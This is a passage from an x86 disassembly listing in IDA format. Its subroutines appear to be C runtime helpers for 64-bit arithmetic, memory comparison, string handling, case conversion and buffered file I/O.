		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D98C:				; CODE XREF: sub_41D670+1B7j
					; sub_41D670:loc_41D854j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41D670	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D9A5	proc near		; CODE XREF: sub_40DA4F+34p
					; sub_40DA4F+4Fp ...

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		call	sub_41BEC7
		pop	ecx
		pop	ecx
		retn
sub_41D9A5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D9B3	proc near		; CODE XREF: sub_41DA20+4p

arg_0		= dword	ptr  4

		push	esi
		push	dword_4DD39C
		call	sub_422EA8
		mov	edx, dword_4DD39C
		pop	ecx
		mov	ecx, dword_4DD398
		mov	esi, ecx
		sub	esi, edx
		add	esi, 4
		cmp	eax, esi
		pop	esi
		jnb	short loc_41DA12
		push	edx
		call	sub_422EA8
		add	eax, 10h
		push	eax
		push	dword_4DD39C
		call	sub_41BBE2
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41D9F5
		retn
; ---------------------------------------------------------------------------


loc_41D9F5:				; CODE XREF: sub_41D9B3+3Fj
		mov	ecx, dword_4DD398
		sub	ecx, dword_4DD39C
		mov	dword_4DD39C, eax
		sar	ecx, 2
		lea	ecx, [eax+ecx*4]
		mov	dword_4DD398, ecx


loc_41DA12:				; CODE XREF: sub_41D9B3+23j
		mov	eax, [esp+arg_0]
		mov	[ecx], eax
		add	dword_4DD398, 4
		retn
sub_41D9B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DA20	proc near		; CODE XREF: sub_40DB3C+1Ap

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41D9B3
		neg	eax
		sbb	eax, eax
		pop	ecx
		neg	eax
		dec	eax
		retn
sub_41DA20	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DA32	proc near		; DATA XREF: ___:00429018o
		push	80h
		call	sub_41BEB5
		test	eax, eax
		pop	ecx
		mov	dword_4DD39C, eax
		jnz	short loc_41DA53
		push	18h
		call	sub_41E2C9
		mov	eax, dword_4DD39C
		pop	ecx


loc_41DA53:				; CODE XREF: sub_41DA32+12j
		and	dword ptr [eax], 0
		mov	eax, dword_4DD39C
		mov	dword_4DD398, eax
		retn
sub_41DA32	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DA61	proc near		; CODE XREF: sub_40DB5E+7Ap
					; sub_40DB5E+8Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	ecx, eax
		cmp	word ptr [eax],	0
		jz	short loc_41DA75


loc_41DA6D:				; CODE XREF: sub_41DA61+12j
		inc	ecx
		inc	ecx
		cmp	word ptr [ecx],	0
		jnz	short loc_41DA6D


loc_41DA75:				; CODE XREF: sub_41DA61+Aj
		mov	edx, [esp+arg_4]
		push	esi


loc_41DA7A:				; CODE XREF: sub_41DA61+26j
		mov	si, [edx]
		mov	[ecx], si
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	si, si
		jnz	short loc_41DA7A
		pop	esi
		retn
sub_41DA61	endp

; ---------------------------------------------------------------------------
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41DB07
		mov	edi, [esp+14h]
		test	edi, edi
		jz	short loc_41DAAA
		cmp	edi, 1
		jz	short loc_41DAAA
		cmp	edi, 2
		jnz	short loc_41DB07


loc_41DAAA:				; CODE XREF: ___:0041DA9Ej
					; ___:0041DAA3j
		and	al, 0EFh
		cmp	edi, 1
		mov	[esi+0Ch], eax
		jnz	short loc_41DAC1
		push	esi
		call	sub_422FA3
		add	[esp+14h], eax
		pop	ecx
		xor	edi, edi


loc_41DAC1:				; CODE XREF: ___:0041DAB2j
		push	esi
		call	sub_41E42B
		mov	eax, [esi+0Ch]
		pop	ecx
		test	al, 80h
		jz	short loc_41DAD6
		and	al, 0FCh
		mov	[esi+0Ch], eax
		jmp	short loc_41DAEA
; ---------------------------------------------------------------------------


loc_41DAD6:				; CODE XREF: ___:0041DACDj
		test	al, 1
		jz	short loc_41DAEA
		test	al, 8
		jz	short loc_41DAEA
		test	ah, 4
		jnz	short loc_41DAEA
		mov	dword ptr [esi+18h], 200h


loc_41DAEA:				; CODE XREF: ___:0041DAD4j
					; ___:0041DAD8j ...
		push	edi
		push	dword ptr [esp+14h]
		push	dword ptr [esi+10h]
		call	sub_422F09
		add	esp, 0Ch
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		dec	ecx
		mov	eax, ecx
		jmp	short loc_41DB14
; ---------------------------------------------------------------------------


loc_41DB07:				; CODE XREF: ___:0041DA96j
					; ___:0041DAA8j
		mov	dword_4DBDDC, 16h
		or	eax, 0FFFFFFFFh


loc_41DB14:				; CODE XREF: ___:0041DB05j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DB20	proc near		; CODE XREF: sub_413694+19Ep
					; sub_4143F7+11Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_41DB39
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------


loc_41DB39:				; CODE XREF: sub_41DB20+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_41DB20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DB54	proc near		; CODE XREF: ___:0041668Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		test	edi, edi
		mov	[ebp+arg_0], eax
		mov	ebx, edi
		jnz	short loc_41DB78
		xor	eax, eax
		jmp	loc_41DC45
; ---------------------------------------------------------------------------


loc_41DB78:				; CODE XREF: sub_41DB54+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41DB8B
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41DB92
; ---------------------------------------------------------------------------


loc_41DB8B:				; CODE XREF: sub_41DB54+2Dj
		mov	[ebp+arg_C], 1000h


loc_41DB92:				; CODE XREF: sub_41DB54+35j
					; sub_41DB54+E8j
		mov	ecx, [esi+0Ch]
		and	ecx, 108h
		jz	short loc_41DBC6
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41DBC6
		cmp	ebx, eax
		mov	edi, ebx
		jb	short loc_41DBAC
		mov	edi, eax


loc_41DBAC:				; CODE XREF: sub_41DB54+54j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi]
		call	sub_41CD20
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		sub	ebx, edi
		add	[ebp+arg_0], edi
		jmp	short loc_41DC0C
; ---------------------------------------------------------------------------


loc_41DBC6:				; CODE XREF: sub_41DB54+47j
					; sub_41DB54+4Ej
		cmp	ebx, [ebp+arg_C]
		jb	short loc_41DC11
		test	ecx, ecx
		jz	short loc_41DBDA
		push	esi
		call	sub_41E42B
		test	eax, eax
		pop	ecx
		jnz	short loc_41DC53


loc_41DBDA:				; CODE XREF: sub_41DB54+79j
		cmp	[ebp+arg_C], 0
		jz	short loc_41DBED
		mov	eax, ebx
		xor	edx, edx
		div	[ebp+arg_C]
		mov	edi, ebx
		sub	edi, edx
		jmp	short loc_41DBEF
; ---------------------------------------------------------------------------


loc_41DBED:				; CODE XREF: sub_41DB54+8Aj
		mov	edi, ebx


loc_41DBEF:				; CODE XREF: sub_41DB54+97j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi+10h]
		call	sub_4230FB
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41DC4A
		add	[ebp+arg_0], eax
		sub	ebx, eax
		cmp	eax, edi
		jb	short loc_41DC4A


loc_41DC0C:				; CODE XREF: sub_41DB54+70j
		mov	edi, [ebp+var_4]
		jmp	short loc_41DC3A
; ---------------------------------------------------------------------------


loc_41DC11:				; CODE XREF: sub_41DB54+75j
		mov	eax, [ebp+arg_0]
		push	esi
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_41FE2A
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41DC53
		inc	[ebp+arg_0]
		mov	eax, [esi+18h]
		dec	ebx
		mov	[ebp+arg_C], eax
		test	eax, eax
		jg	short loc_41DC3A
		mov	[ebp+arg_C], 1


loc_41DC3A:				; CODE XREF: sub_41DB54+BBj
					; sub_41DB54+DDj
		test	ebx, ebx
		jnz	loc_41DB92
		mov	eax, [ebp+arg_8]


loc_41DC45:				; CODE XREF: sub_41DB54+1Fj
					; sub_41DB54+108j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41DC4A:				; CODE XREF: sub_41DB54+ADj
					; sub_41DB54+B6j
		or	dword ptr [esi+0Ch], 20h
		mov	eax, [ebp+var_4]
		jmp	short loc_41DC55
; ---------------------------------------------------------------------------


loc_41DC53:				; CODE XREF: sub_41DB54+84j
					; sub_41DB54+CFj
		mov	eax, edi


loc_41DC55:				; CODE XREF: sub_41DB54+FDj
		sub	eax, ebx
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_41DC45
sub_41DB54	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DC5E	proc near		; CODE XREF: sub_416CAF+8p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		call	near ptr 26B04AAh
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41DC7E
		nop
		call	near ptr 26A0E98h
		push	eax
		call	sub_420C7F
		pop	ecx


loc_41DC7A:				; CODE XREF: sub_41DC5E+3Fj
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_41DC7E:				; CODE XREF: sub_41DC5E+Dj
		test	al, 1
		jz	short loc_41DC9F
		test	[esp+arg_4], 2
		jz	short loc_41DC9F
		mov	dword_4DBDDC, 0Dh
		mov	dword_4DBDE0, 5
		jmp	short loc_41DC7A
; ---------------------------------------------------------------------------


loc_41DC9F:				; CODE XREF: sub_41DC5E+22j
					; sub_41DC5E+29j
		xor	eax, eax
		retn
sub_41DC5E	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DCB0	proc near		; CODE XREF: sub_416CC9+3Fp
					; sub_41AED9+24p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_41DCD2
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41DD13
; ---------------------------------------------------------------------------


loc_41DCD2:				; CODE XREF: sub_41DCB0+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_41DCE0:				; CODE XREF: sub_41DCB0+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41DCE0
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41DD0E
		cmp	edx, [esp+8+arg_4]
		ja	short loc_41DD0E
		jb	short loc_41DD0F
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_41DD0F


loc_41DD0E:				; CODE XREF: sub_41DCB0+4Ej
					; sub_41DCB0+54j
		dec	esi


loc_41DD0F:				; CODE XREF: sub_41DCB0+56j
					; sub_41DCB0+5Cj
		xor	edx, edx
		mov	eax, esi


loc_41DD13:				; CODE XREF: sub_41DCB0+20j
		pop	esi
		pop	ebx
		retn	10h
sub_41DCB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DD20	proc near		; CODE XREF: sub_416CC9+2Dp
					; sub_41AED9+3Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_41DD41
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_41DD91
; ---------------------------------------------------------------------------


loc_41DD41:				; CODE XREF: sub_41DD20+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_41DD4F:				; CODE XREF: sub_41DD20+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41DD4F
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_41DD7A
		cmp	edx, [esp+4+arg_4]
		ja	short loc_41DD7A
		jb	short loc_41DD82
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_41DD82


loc_41DD7A:				; CODE XREF: sub_41DD20+4Aj
					; sub_41DD20+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_41DD82:				; CODE XREF: sub_41DD20+52j
					; sub_41DD20+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_41DD91:				; CODE XREF: sub_41DD20+1Fj
		pop	ebx
		retn	10h
sub_41DD20	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DDA0	proc near		; CODE XREF: sub_416DD9+5Fp
					; sub_416DD9+92p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_41DDC1
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx


loc_41DDC1:				; CODE XREF: sub_41DDA0+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_41DDDD
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx


loc_41DDDD:				; CODE XREF: sub_41DDA0+27j
		or	eax, eax
		jnz	short loc_41DDF9
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41DE3A
; ---------------------------------------------------------------------------


loc_41DDF9:				; CODE XREF: sub_41DDA0+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]


loc_41DE07:				; CODE XREF: sub_41DDA0+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_41DE07
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41DE35
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_41DE35
		jb	short loc_41DE36
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_41DE36


loc_41DE35:				; CODE XREF: sub_41DDA0+85j
					; sub_41DDA0+8Bj
		dec	esi


loc_41DE36:				; CODE XREF: sub_41DDA0+8Dj
					; sub_41DDA0+93j
		xor	edx, edx
		mov	eax, esi


loc_41DE3A:				; CODE XREF: sub_41DDA0+57j
		dec	edi
		jnz	short loc_41DE44
		neg	edx
		neg	eax
		sbb	edx, 0


loc_41DE44:				; CODE XREF: sub_41DDA0+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_41DDA0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DE4A	proc near		; CODE XREF: sub_417493+BFp
					; sub_417493+12Cp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4DBE84
		push	ebx
		xor	ebx, ebx
		cmp	eax, ebx
		mov	[ebp+var_4], ebx
		jnz	short loc_41DE7E
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		cmp	[eax], bl
		jz	short loc_41DEE5


loc_41DE66:				; CODE XREF: sub_41DE4A+30j
		mov	cl, [edx]
		cmp	cl, 61h
		jl	short loc_41DE77
		cmp	cl, 7Ah
		jg	short loc_41DE77
		sub	cl, 20h
		mov	[edx], cl


loc_41DE77:				; CODE XREF: sub_41DE4A+21j
					; sub_41DE4A+26j
		inc	edx
		cmp	[edx], bl
		jnz	short loc_41DE66
		jmp	short loc_41DEE5
; ---------------------------------------------------------------------------


loc_41DE7E:				; CODE XREF: sub_41DE4A+11j
		push	esi
		push	edi
		push	1
		push	ebx
		push	ebx
		push	ebx
		push	0FFFFFFFFh
		mov	esi, 200h
		push	[ebp+arg_0]
		push	esi
		push	eax
		call	sub_4232A8
		mov	edi, eax
		add	esp, 20h
		cmp	edi, ebx
		jz	short loc_41DED7
		push	edi
		call	sub_41BEB5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_41DED7
		push	1
		push	ebx
		push	edi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	dword_4DBE84
		call	sub_4232A8
		add	esp, 20h
		test	eax, eax
		jz	short loc_41DED7
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_41C890
		pop	ecx
		pop	ecx


loc_41DED7:				; CODE XREF: sub_41DE4A+53j
					; sub_41DE4A+61j ...
		push	[ebp+var_4]
		call	sub_41BA91
		mov	eax, [ebp+arg_0]
		pop	ecx
		pop	edi
		pop	esi


loc_41DEE5:				; CODE XREF: sub_41DE4A+1Aj
					; sub_41DE4A+32j
		pop	ebx
		leave
		retn
sub_41DE4A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DEE8	proc near		; CODE XREF: sub_417E84+1A8p

arg_0		= dword	ptr  4

		cmp	dword_43D084, 1
		jle	short loc_41DEFF
		push	4
		push	[esp+4+arg_0]
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41DEFF:				; CODE XREF: sub_41DEE8+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_43CE78
		mov	al, [ecx+eax*2]
		and	eax, 4
		retn
sub_41DEE8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DF10	proc near		; CODE XREF: sub_420DB0+76p
					; sub_420DB0+88p ...

arg_0		= dword	ptr  4

		cmp	dword_43D084, 1
		jle	short loc_41DF27
		push	8
		push	[esp+4+arg_0]
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41DF27:				; CODE XREF: sub_41DF10+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_43CE78
		mov	al, [ecx+eax*2]
		and	eax, 8
		retn
sub_41DF10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DF40	proc near		; CODE XREF: sub_418295+1Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		test	eax, eax
		jz	short locret_41DF8C
		mov	edx, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+8+arg_4]
		or	edx, edi
		and	edx, 3
		jz	short loc_41DF8D
		test	eax, 1
		jz	short loc_41DF6D
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_41DFBA
		inc	esi
		inc	edi
		dec	eax
		jz	short loc_41DF8A


loc_41DF6D:				; CODE XREF: sub_41DF40+20j
					; sub_41DF40+48j
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_41DFBA
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_41DFBA
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_41DF6D


loc_41DF8A:				; CODE XREF: sub_41DF40+2Bj
					; sub_41DF40+84j
		pop	edi
		pop	esi

locret_41DF8C:				; CODE XREF: sub_41DF40+6j
		retn
; ---------------------------------------------------------------------------


loc_41DF8D:				; CODE XREF: sub_41DF40+19j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_41DFC2
		repe cmpsd
		jz	short loc_41DFC2
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_41DFB5
		cmp	ch, dh
		jnz	short loc_41DFB5
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_41DFB5
		cmp	ch, dh


loc_41DFB5:				; CODE XREF: sub_41DF40+63j
					; sub_41DF40+67j ...
		mov	eax, 0


loc_41DFBA:				; CODE XREF: sub_41DF40+26j
					; sub_41DF40+33j ...
		sbb	eax, eax
		pop	edi
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41DFC2:				; CODE XREF: sub_41DF40+55j
					; sub_41DF40+59j
		test	eax, eax
		jz	short loc_41DF8A
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_41DFB5
		dec	eax
		jz	short loc_41DFE9
		cmp	dh, ch
		jnz	short loc_41DFB5
		dec	eax
		jz	short loc_41DFE9
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_41DFB5
		dec	eax


loc_41DFE9:				; CODE XREF: sub_41DF40+8Fj
					; sub_41DF40+96j
		pop	edi
		pop	esi
		retn
sub_41DF40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DFEC	proc near		; CODE XREF: sub_4185B5+6p
					; sub_4185D3+4Ap ...

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DBE84, 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41E019
		mov	eax, [ebp+arg_0]
		cmp	eax, 41h
		jl	loc_41E0B2
		cmp	eax, 5Ah
		jg	loc_41E0B2
		add	eax, 20h
		jmp	loc_41E0B2
; ---------------------------------------------------------------------------


loc_41E019:				; CODE XREF: sub_41DFEC+Ej
		mov	ebx, [ebp+arg_0]
		mov	edi, 100h
		push	1
		cmp	ebx, edi
		pop	esi
		jge	short loc_41E04D
		cmp	dword_43D084, esi
		jle	short loc_41E03B
		push	esi
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_41E045
; ---------------------------------------------------------------------------


loc_41E03B:				; CODE XREF: sub_41DFEC+42j
		mov	eax, off_43CE78
		mov	al, [eax+ebx*2]
		and	eax, esi


loc_41E045:				; CODE XREF: sub_41DFEC+4Dj
		test	eax, eax
		jnz	short loc_41E04D


loc_41E049:				; CODE XREF: sub_41DFEC+ADj
		mov	eax, ebx
		jmp	short loc_41E0B2
; ---------------------------------------------------------------------------


loc_41E04D:				; CODE XREF: sub_41DFEC+3Aj
					; sub_41DFEC+5Bj
		mov	edx, off_43CE78
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41E071
		and	byte ptr [ebp+arg_0+2],	0
		push	2
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		pop	eax
		jmp	short loc_41E07A
; ---------------------------------------------------------------------------


loc_41E071:				; CODE XREF: sub_41DFEC+74j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		mov	eax, esi


loc_41E07A:				; CODE XREF: sub_41DFEC+83j
		push	esi
		push	0
		lea	ecx, [ebp+var_4]
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	edi
		push	dword_4DBE84
		call	sub_4232A8
		add	esp, 20h
		test	eax, eax
		jz	short loc_41E049
		cmp	eax, esi
		jnz	short loc_41E0A5
		movzx	eax, [ebp+var_4]
		jmp	short loc_41E0B2
; ---------------------------------------------------------------------------


loc_41E0A5:				; CODE XREF: sub_41DFEC+B1j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_41E0B2:				; CODE XREF: sub_41DFEC+16j
					; sub_41DFEC+1Fj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DFEC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E0B7	proc near		; CODE XREF: sub_418AF1+ADp
					; sub_419AE0+55p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		cmp	word ptr [ecx],	0
		lea	eax, [ecx+2]
		jz	short loc_41E0CE


loc_41E0C4:				; CODE XREF: sub_41E0B7+15j
		mov	dx, [eax]
		inc	eax
		inc	eax
		test	dx, dx
		jnz	short loc_41E0C4


loc_41E0CE:				; CODE XREF: sub_41E0B7+Bj
		sub	eax, ecx
		sar	eax, 1
		dec	eax
		retn
sub_41E0B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E0D4	proc near		; CODE XREF: sub_418AF1+7Fp
					; sub_418AF1+90p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		xor	esi, esi
		xor	eax, eax
		cmp	edx, esi
		push	edi
		jz	loc_41E1A1
		mov	edi, [ebp+arg_8]
		cmp	edi, esi
		jz	loc_41E1CE
		cmp	dword_4DBE84, esi
		jnz	short loc_41E125
		cmp	edi, esi
		jbe	loc_41E1CE


loc_41E104:				; CODE XREF: sub_41E0D4+4Aj
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		movzx	si, byte ptr [ecx]
		mov	[edx], si
		cmp	byte ptr [ecx],	0
		jz	loc_41E1CE
		inc	eax
		inc	edx
		inc	edx
		cmp	eax, edi
		jb	short loc_41E104
		jmp	loc_41E1CE
; ---------------------------------------------------------------------------


loc_41E125:				; CODE XREF: sub_41E0D4+26j
		mov	ebx, [ebp+arg_4]
		mov	esi, dword_4270E8
		push	edi
		push	edx
		push	0FFFFFFFFh
		push	ebx
		push	9
		push	dword_4DBE94
		call	esi
		test	eax, eax
		jnz	loc_41E1CD
		call	near ptr 26A0E98h
		nop
		cmp	eax, 7Ah
		jz	short loc_41E15F


loc_41E150:				; CODE XREF: sub_41E0D4+CBj
					; sub_41E0D4+F7j
		mov	dword_4DBDDC, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_41E1CE
; ---------------------------------------------------------------------------


loc_41E15F:				; CODE XREF: sub_41E0D4+7Aj
		lea	ecx, [edi-1]
		mov	eax, ebx
		mov	[ebp+arg_4], ecx


loc_41E167:				; CODE XREF: sub_41E0D4+B3j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41E189
		mov	edx, off_43CE78
		movzx	ecx, cl
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41E17E
		inc	eax


loc_41E17E:				; CODE XREF: sub_41E0D4+A7j
		mov	ecx, [ebp+arg_4]
		inc	eax
		dec	[ebp+arg_4]
		test	ecx, ecx
		jnz	short loc_41E167


loc_41E189:				; CODE XREF: sub_41E0D4+97j
		push	edi
		sub	eax, ebx
		push	[ebp+arg_0]
		push	eax
		push	ebx
		push	1
		push	dword_4DBE94
		call	esi
		test	eax, eax
		jnz	short loc_41E1CE
		jmp	short loc_41E150
; ---------------------------------------------------------------------------


loc_41E1A1:				; CODE XREF: sub_41E0D4+Fj
		cmp	dword_4DBE84, esi
		jnz	short loc_41E1B4
		push	[ebp+arg_4]
		call	sub_41B9C0
		pop	ecx
		jmp	short loc_41E1CE
